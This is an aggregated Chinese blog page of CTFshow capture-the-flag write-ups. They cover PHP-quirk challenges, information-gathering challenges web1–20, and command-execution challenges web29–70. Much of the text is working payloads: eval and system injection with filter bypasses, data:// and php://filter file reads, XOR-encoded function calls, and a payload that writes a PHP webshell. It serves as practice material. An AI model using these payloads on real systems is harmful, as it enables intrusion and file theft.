在本文中,我们将详细介绍ctfshow-web94(php特征)的各个方面,并为您提供关于ctfshowphp特性的相关解答,同时,我们也将为您带来关于CTFShowweb入门1——20(信息收集)w
在本文中,我们将详细介绍ctfshow-web94(php特征)的各个方面,并为您提供关于ctfshow php特性的相关解答,同时,我们也将为您带来关于CTF Show web入门 1——20(信息收集)wp和一些感想、ctf show--web 入门 命令执行篇部分题解、ctfhshow卷王杯 easyweb、CTFshow php特性 web144的有用知识。
本文目录一览:- ctfshow-web94(php特征)(ctfshow php特性)
- CTF Show web入门 1——20(信息收集)wp和一些感想
- ctf show--web 入门 命令执行篇部分题解
- ctfhshow卷王杯 easyweb
- CTFshow php特性 web144
ctfshow-web94(php特征)(ctfshow php特性)
strpos函数限制了传参第一位不能为0,如果为0,就die.
但是如果找不到的话又会die.
<?PHP
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
*/
include("flag.PHP");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这道题和之前的不一样,但用010574无法得到结果
不能出现单纯的4476,不能出现字母,要出现0
?num=4476.0
CTF Show web入门 1——20(信息收集)wp和一些感想
web1
信息搜集此题为
【从0开始学web】系列第一题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
开发注释未及时删除
此题有以上备注,可以想到备注未删除,有备注的地方就是原来代码咯,因此联想到可以用鼠标右键查看源代码
web2
信息收集
此题为【从0开始学web】系列第二题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
js前台拦截 === 无效操作
在题目界面可以看出由于js的使用已经无法使用查看源代码的操作了,所以我们想使用查看源代码的功能可以有两种思路
1.使用在URL前面添加 view-source:(官方答案)
2.既然因为使用JavaScript而导致不能查看源代码,那么我们是不是可以使用禁用JavaScript选项呢?
web3
信息搜集
此题为 【从0开始学web】系列第三题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
没思路的时候抓个包看看,可能会有意外收获
此题直接提示抓包,那我们恭敬不如从命,BurpSuite走起
打码的地方就是答案所在
web4
信息搜集
此题为 【从0开始学web】系列第四题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。总有人把后台地址写入robots,帮黑阔大佬们引路。
robots.txt 是网站上经常使用的一个协议,叫做机器人协议,一般放在网站根目录,但是他是约定俗成的所以有的简陋的网站并没有这个协议,还有的为了隐藏信息并没有去编写。
所以我们需要查看一下robots.txt应该就能发现flag信息
web5
信息搜集
此题为 【从0开始学web】系列第五题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
phps源码泄露有时候能帮上忙
此题为源码泄露,phps(在某篇wp上看到的解释:PHP文件编写后被php解析,然后php文件变成了网页格式,而php中编写的代码则变成了phps被保存了起来)所以我们尝试访问phps文件,发现文件可以被下载,从下载文件中发现了flag
web6
信息搜集
此题为 【从0开始学web】系列第六题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
解压源码到当前目录,测试正常,收工
从web6开始考察了代码泄露的问题,这是第一个代码泄露,根据提示我们可以看出此题泄露方式是网站备份泄露,因此我们需要了解常见网站备份的方式有rar压缩、zip压缩、7z压缩、tar.gz压缩(Linux压缩方式)、bak压缩、更改为TXT后缀、更改为old后缀、使用temp后缀,我们配合后台扫描器一般就能发现,根据扫描器我们可以发现此网站的泄露文件为www.zip
扫描器结果
web7
信息搜集
此题为 【从0开始学web】系列第七题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。版本控制很重要,但不要部署到生产环境更重要。
看到版本控制后脑子中想到了某大型“同性交友”网站——“gayhub”,由此想象到emmmm,git,这道题是git吗?尝试一下.git发现无法链接,难道是我错了?经查看可能是网站输入了链接问题,并未启用8080端口,来经过查询发现需要使用/.git/index.php
web8
信息搜集
此题为 【从0开始学web】系列第八题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。版本控制很重要,但不要部署到生产环境更重要
。
what?又是版本控制?git输入。嗯?不对?经过查询发现版本控制还有svn(好吧我是铁fw),.svn/index.php 走你
web9
信息搜集
此题为 【从0开始学web】系列第九题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了
emmmm,vim? let me 想想,由于使用vim不规范得我经常容易出现错误,会出现备份文件.后缀.swp 这个不会也是吧,冲!
web7、8、9 后续总结
版本控制问题出现的是
git
svn
hg
对于此类题目应该比较敏感
对于信息泄露总结
网站备份信息泄露
.zip
.rar
.7z
.tar,gz
bak
.swp
.txt
···
版本控制信息泄露
.hg
.git
.svn
.DS_Store泄露
目录遍历
PHPinfo(PHP探针)
vim缓存
web10
信息收集
此题为 【从0开始学web】系列第十题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
cookie 只是一块饼干,不能存放任何隐私数据
cookie 用于提示web用户干了什么可以被查看,因此使用可以查看cookie的软件就可以看到,最简单的方式是抓包或者启动审查模式
web11
信息搜集
此题为 【从0开始学web】系列第十一题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
域名其实也可以隐藏信息,比如ctfshow.com 就隐藏了一条信息
一般域名信息需要查看dns解析等服务,因此我们需要查看dns txt记录使用阿里云的自检服务 https://zijian.aliyun.com/(官方wp)
==手动分割线,从web12开始题目开始变得复杂,涉及前面11道题的综合运用==
web12
信息搜集
此题为 【从0开始学web】系列第十二题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。有时候网站上的公开信息,就是管理员常用密码
从提示中可以看到网站上的公开信息可以得知管理员密码,此处联想密码一般为电话、邮箱、生日等信息,因此我们需要找可疑信息
可以确定为电话号码,但是并未寻找到登录界面,这个时候我们应该启动后台扫描器扫描后台登录后台输入即可
web13
信息搜集
此题为 【从0开始学web】系列第十三题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码
技术文档中出现敏感信息,此时需要查看技术文档,观看网页页首
找到技术文档,点击触发下载打开文档可以看到
your-domain处是你的网页首部链接
web14
信息搜集
此题为【从0开始学web】系列第十四题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
此处是editor编辑器漏洞,网页编辑器是一个非常危险的地方,因此我们需要注意,从0day提示此处需要寻找目录,我们可以观察一下上传目录,根据目录遍历我们可以寻找可疑文件最终我们寻找到fl000g.txt
web15
信息搜集(社会工程学)
此题为 【从0开始学web】系列第十五题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
此题需要观察邮箱从网页的页尾可以看到邮箱信息
可以看到是QQ邮箱,运用社工知识可以查询一系列信息,此处不加详解,可以看到,登录后台发现邮箱不是密码,尝试使用QQ号发现不对
重置密码登录得到flag
web16
此题为 【从0开始学web】系列第十六题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露探针:
查询常用探针,查询PHPinfo()可以找到flag
web17
此题为 【从0开始学web】系列第十七题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。透过重重缓存,查找到ctfer.com的真实IP,提交flag{IP地址}
寻找可以查询ip的网站(ipip)查找到flag
web18
此题为 【从0开始学web】系列第十八题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
不要着急,休息,休息一会儿,玩101分给你flag
看到这个题我直接疑惑玩游戏???(游戏废玩家)路过
查看源码发现是js游戏,找到js源码发现101分的意思是满足这个条件
if(score>100){
var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
}
此处为Unicode代码使用在线转换工具可以得出flag
web19
此题为 【从0开始学web】系列第十九题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。密钥什么的,就不要放在前端了
看到这句话狂喜,查看源码
function checkForm(){
var key = "0000000372619038";
var iv = "ilove36dverymuch";
var pazzword = $("#pazzword").val();
pazzword = encrypt(pazzword,key,iv);
$("#pazzword").val(pazzword);
$("#loginForm").submit();
}
function encrypt(data,key,iv) { //key,iv:16位的字符串
var key1 = CryptoJS.enc.Latin1.parse(key);
var iv1 = CryptoJS.enc.Latin1.parse(iv);
return CryptoJS.AES.encrypt(data, key1,{
iv : iv1,
mode : CryptoJS.mode.CBC,
padding : CryptoJS.pad.ZeroPadding
}).toString();
}
<!--error_reporting(0);
$flag="fakeflag"
$u = $_POST[''username''];
$p = $_POST[''pazzword''];
if(isset($u) && isset($p)){
if($u===''admin'' && $p ===''a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04''){ echo $flag;
}
}
->
发现秘钥由前段使用AES的CBC模式,进入解密状态解出原秘密口令
或者直接post提交秘钥信息
web20(最后一题)
此题为 【从0开始学web】系列第二十题
此系列题目从最基础开始,题目遵循循序渐进的原则
希望对学习CTF WEB的同学有所帮助。
做为信息泄露的最后一题,还有其他没有涉及到的地方,欢迎联系群主补充
mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
经过后台扫描发可以路径下的文件/db/db.mdb 访问下载,用记事本打开发现flag
ctf show--web 入门 命令执行篇部分题解
最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势。
1
- 命令执行
- web29(通配符)
- web30(反引号执行系统命令)
- web31
- cat被过滤时
- 空格被过滤时
- web32
- web33-36
- web37(data伪协议)
- web38
- web39
- web40
- web41(未解出)
- web42
- web43
- web44
- web45
- web46
- web47-49
- web50
- web51
- web52
- web53
- web54
- grep
- bin目录
- web55-56
- web57
- web58-65(绕过disable_functions系列)
- web66-67
- web68-70
命令执行
web29(通配符)
需要得到flag.PHP里的内容,但是flag被过滤了。
这题考察的知识点是通配符,这篇博客有具体的介绍:通配符和正则的区别。
例如构造: ?c=system('cat f*');
*
可以匹配 0 或多个字符,?
可以匹配任意一个字符。
cat f*
就可以打开当前目录下所有f开头的文件。
然后查看源码得到flag
web30(反引号执行系统命令)
这题过滤了flag、system、PHP
三个字符串,上一题的payload就不适用了。
可以利用反引号执行系统命令,如:
?c=echo `cat f*`;
?c=echo `cat f???????`;
web31
这题过滤的更多(包括空格):
<?PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我是想不出有什么好用的办法了,参考hint和大佬的博客,payload1:
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
其中第二个姿势的解析:
①:print_r(scandir(dirname(__FILE__)));
查看当前目录下文件
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
找到flag.PHP③:
highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
最后高亮显示
payload2:
这里的姿势正常一些,都是针对过滤的绕过(师傅们tql)。
cat被过滤时
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
空格被过滤时
1. ${IFS}替换
2. $IFS$1替换
3. ${IFS替换
4. %20替换
5. <和<>重定向符替换
6. %09替换
7. 拼接(很强) 如:?ip=1;a=g;cat$IFS$1fla$a.PHP; (flag被过滤时)
大佬们的姿势:
?c=eval($_GET[1]);&1=system('nl flag.PHP');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必须加转义字符
?c=echo(`more%09f*`);
web32
在31题的基础上又过滤了
` ; echo (
分号可以用?>
绕过,括号用""
绕过,再配合$
和伪协议的姿势:
?c=include"$_GET[1]"?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
试了一下发现不带这个双引号也行:
?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
执行后得到一串base64密文,解码得到flag
web33-36
33题把"
也过滤了
34题又多过滤了一个:
35题又过滤了=
和<
可以一把梭:
?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
36题多过滤了/
和数字,把1换成一个字母就行。
web37(data伪协议)
<?PHP
//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,还进行了include文件包含,使用data伪协议。
1,写入一句话:
?c=data:text/plain,<?PHP fputs(fopen("shell.PHP","w"),"<?PHP eval(\$_POST['hack']);?>")?>
然后蚁剑连接即可(https://url/shell.PHP)
2,读取
?c=data:text/plain,<?PHP system('cat f*')?> #过滤了flag,这样构造相当于直接读取了flag.PHP
web38
这题把flag、file、PHP都过滤了,需要在37的姿势上变化一下。
(base64加密后)
data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源码得到flag
web39
过滤了flag,限制了后缀(.PHP)
姿势和37一样
?c=data:text/plain,<?PHP system('cat f*')?>
web40
好家伙,直接过滤一堆
<?PHP
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以使用无参数函数进行文件读取,payload同31题。
web41(未解出)
@L_301_45@web42
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题可以直接
?c=ls;
?c=cat flag.PHP;
群主给的提示是cat flag.PHP%0a
,用%0a
让那后面那串东西无效。
web43
过滤了;
和cat
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题其实姿势挺多的,被过滤的cat
可以用很多其他命令替换,末尾再%0a
截断。
?c=nl flag.PHP%0a
?c=tac flag.PHP%0a
?c=more flag.PHP%0a
web44
在web43的基础上多过滤了一个flag
,只要在之前的payload基础上使用通配符即可。
?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a
web45
又多过滤了一个空格,参考web31中空格的绕过方法,把空格替换即可。
web46
过滤了;
、cat
、flag
、空格
、数字
、$
、*
。
payload:
?c=nl%09fla?????%0a
web47-49
payload
?c=nl%09fla?????%0a
web50
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09
和通配符不好使了,用重定向符<
或<>
替换%09
,用""
''
\
绕过对flag
的限制,也可以用 ||
代替%0a
(||默认前面前面执行成功就不执行后面)。
?c=nl<>fla''g.PHP%0a
?c=nl<>fla""g.PHP%0a
?c=nl<fla''g.PHP%0a
?c=nl<>fla''g.PHP||
?c=nl<>fla\g.PHP%0a
web51
payload同web50
web52
很多替换空格的字符被过滤了,但是$
没有被过滤,所以在web50的基础上把空格换成$IFS
即可
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web53
少了一些限制,不需要在末尾进行命令分割了。
web54
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
正则的过滤更加严格了
grep
grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload1:
?c=grep${IFS}'{'${IFS}fl???PHP #查找含有{的文件,并打印出包含 { 的这一行
bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
payload2:
/bin/?at${IFS}f???????
web55-56
不会做,参考大佬博客:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
web57
这题是让我们在限制条件之下构造36这个数字。
<?PHP
//flag in 36.PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".PHP");
}
}else{
highlight_file(__FILE__);
}
这里是学习的Y4大佬的思路,利用$(( ))与整数运算
。
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
群主还给了另一种姿势:
?c=grep${IFS}'fla'${IFS}fla??PHP
web58-65(绕过disable_functions系列)
从58开始是绕过disable_functions系列
通用payload:
c=echo highlight_file('flag.PHP');
c=show_source("flag.PHP");
c=highlight_file("flag.PHP");
还可以用web31中的payload1里的姿势
web66-67
首先扫目录(web67中print_r被禁了,换成var_dump),发现有flag.txt
,然后:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
show_source
、highlight_file
、file_get_contents
等文本显示的代码基本都被禁了,所以换成include
、require
这些文件包含的,payload:
c=include('/flag.txt')
c=require_once('/flag.txt');
ctfhshow卷王杯 easyweb
打开通过页面源码提示获得源码
第一个绕过,让c=2^63-2=9223372036854775806(64位机),当++$c时达到int的最大值,这样$count[] = 1 就会溢出int的范围从而使得赋值失败,if语句为false
第二个绕过,使用DirectoryIterator类结合glob协议寻找flag:
a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.PHP,获得真flag的文件名
使用SplFileObject结合伪协议读取flag内容:
a=SplFileObject&b=PHP://filter/convert.base64-encode/resource=flag文件名
payload:
1.
c=9223372036854775806&a=DirectoryIterator&b=glob://flag[a-zA-Z0-9]*.PHP
2.
c=9223372036854775806&a=SplFileObject&b=PHP://filter/convert.base64-encode/resource=第一步得到的flag文件名
ps:还是向大佬咨询所得,太菜了,啥也不会~
CTFshow php特性 web144
目录
- 源码
- 思路
- 题解
- 总结
源码
<?PHP
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-18 16:21:15
*/
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
思路
其实和上题也差不多,v1是数字,v3只能用一个字符了,v2不能是数字字母,马上想到v1=1,v3=-,v2=PHPinfo(),拼接就是1-PHPinfo()了,可以执行.
题解
?v1=1&v3=-&v2=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)
总结
水题
今天关于ctfshow-web94(php特征)和ctfshow php特性的介绍到此结束,谢谢您的阅读,有关CTF Show web入门 1——20(信息收集)wp和一些感想、ctf show--web 入门 命令执行篇部分题解、ctfhshow卷王杯 easyweb、CTFshow php特性 web144等更多相关知识的信息可以在本站进行查询。
本文标签: